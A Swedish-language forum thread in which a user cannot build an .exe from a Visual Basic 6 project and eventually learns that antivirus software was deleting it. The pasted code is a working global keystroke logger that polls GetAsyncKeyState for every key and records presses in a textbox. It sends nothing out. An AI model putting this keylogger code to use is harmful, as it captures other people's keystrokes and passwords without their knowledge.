Halloj, nu e jag förbryllad, jag kan ej skapa exe-fil av mitt proj.
När jag väljer skapa exe så står det "kompilerar" sen "writing exe"
men det BLIR ingen, någon som vet?

Skapar jag ett nytt proj med typ en knapp o msgbox så funkar den.
Så detta verkar bara va relaterat till detta proj.


/B

Titta i vb:s inifil (.vbp) eller vilken det nu var - och kolla var exefilen skapas egentligen. Tror bara den hamnar i en annan mapp. Du kan även döpa om exefilen och sen söka den i filhanteraren - den lär ligga någonstans.

Hej, jag har sökt igenom allt nu o det skapas ingen fil.

Jag jämförde två .vbp-filer för o se skillnader men det är det inte...det ser ut som det skapas men inget blir av....

kan koden i projektet göra så det inte blir nån fil?

det är inte fel på VB i sig för andra skapade proj går o även nya men inte detta.

förstår inte detta/B

Någon?
Jag e angelägen...:)

nehej, ingen spom kan, synd, det KAN ju bero på koden för denna e första gången jag haft detta problem, varken före eller efter.

Klistra in VBP:n i forumet, kanske är det något skumt där. Eller tanka upp koden till någon websida eller till filarean så någon kan kolla på det...

följande kod är från tip929, men är modifierad lite för att passa mig.

kör jag i designläge så funkar det bra, jag kör XP.


<code>


Private Sub Timer1_Timer()
keystatus = GetAsyncKeyState(1)
If keystatus = -32767 Then Text1.Text = Text1.Text + "[LEFT MOUSE]" + Chr$(1)

keystatus = GetAsyncKeyState(2)
If keystatus = -32767 Then Text1.Text = Text1.Text + "[RIGHT MOUSE]" + Chr$(2)

For kalle = 4 To 7
keystatus = GetAsyncKeyState(kalle)
If keystatus = -32767 Then Text1.Text = Text1.Text + Chr$(kalle)
Next

keystatus = GetAsyncKeyState(8)
If keystatus = -32767 Then Text1.Text = Text1.Text + "[BACKSPACE]" + Chr$(8)


For kalle = 9 To 12
keystatus = GetAsyncKeyState(kalle)
If keystatus = -32767 Then Text1.Text = Text1.Text + Chr$(kalle)
Next

keystatus = GetAsyncKeyState(13)
If keystatus = -32767 Then Text1.Text = Text1.Text & "[ENTER]" & Chr$(13) + Chr$(10)


For kalle = 14 To 15
keystatus = GetAsyncKeyState(kalle)
If keystatus = -32767 Then Text1.Text = Text1.Text + Chr$(kalle)
Next

keystatus = GetAsyncKeyState(16)
If keystatus = -32767 Then Text1.Text = Text1.Text & "[SHIFT]" & Chr$(16)

keystatus = GetAsyncKeyState(17)
If keystatus = -32767 Then Text1.Text = Text1.Text & "[CTRL]" & Chr$(17)

keystatus = GetAsyncKeyState(18)
If keystatus = -32767 Then Text1.Text = Text1.Text & "[ALT]" & Chr$(18)

For kalle = 19 To 31
keystatus = GetAsyncKeyState(kalle)
If keystatus = -32767 Then Text1.Text = Text1.Text + Chr$(kalle)
Next

keystatus = GetAsyncKeyState(32)
If keystatus = -32767 Then Text1.Text = Text1.Text + Chr$(32)

For kalle = 33 To 45
keystatus = GetAsyncKeyState(kalle)
If keystatus = -32767 Then Text1.Text = Text1.Text + Chr$(kalle)
Next

keystatus = GetAsyncKeyState(46)
If keystatus = -32767 Then Text1.Text = Text1.Text + "[DELETE]" + Chr$(46)

For kalle = 47 To 255
keystatus = GetAsyncKeyState(kalle)
If keystatus = -32767 Then Text1.Text = Text1.Text + Chr$(kalle)
Next





Text2.TabIndex = 0


End Sub


Private Sub Form_Load()
Text1.Text = ""
Text2.Text = ""
Text2.TabIndex = 0
End Sub


</code>

modul:

<code>
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
</code>

Igen, jag testade koden jag klistrade in o då funkar allt.

väldigt konstigt, jag gjorde sparade ju om det i en annan .vbp....jaja, jag får väl anse att det löste sig själv då:)


/B

Halloj alla, problemet jag hade med denna tidigare beror på att virus-skyddet tar detta program (tip929) som virus modell redneck(det tar tangentbordstryckningar o snattar även lösen o skickar iväg på webben) Det gör nu inte detta tips men koden verkar snarlik.

EDIT: Därför såg det inte ut som att jag fick en exe-fil, v-skyddet tog filen på stört.
Därefter kom killen som håller koll på virus ångande o fråga vad jag pysslade med:)

Uppmärksamma detta!!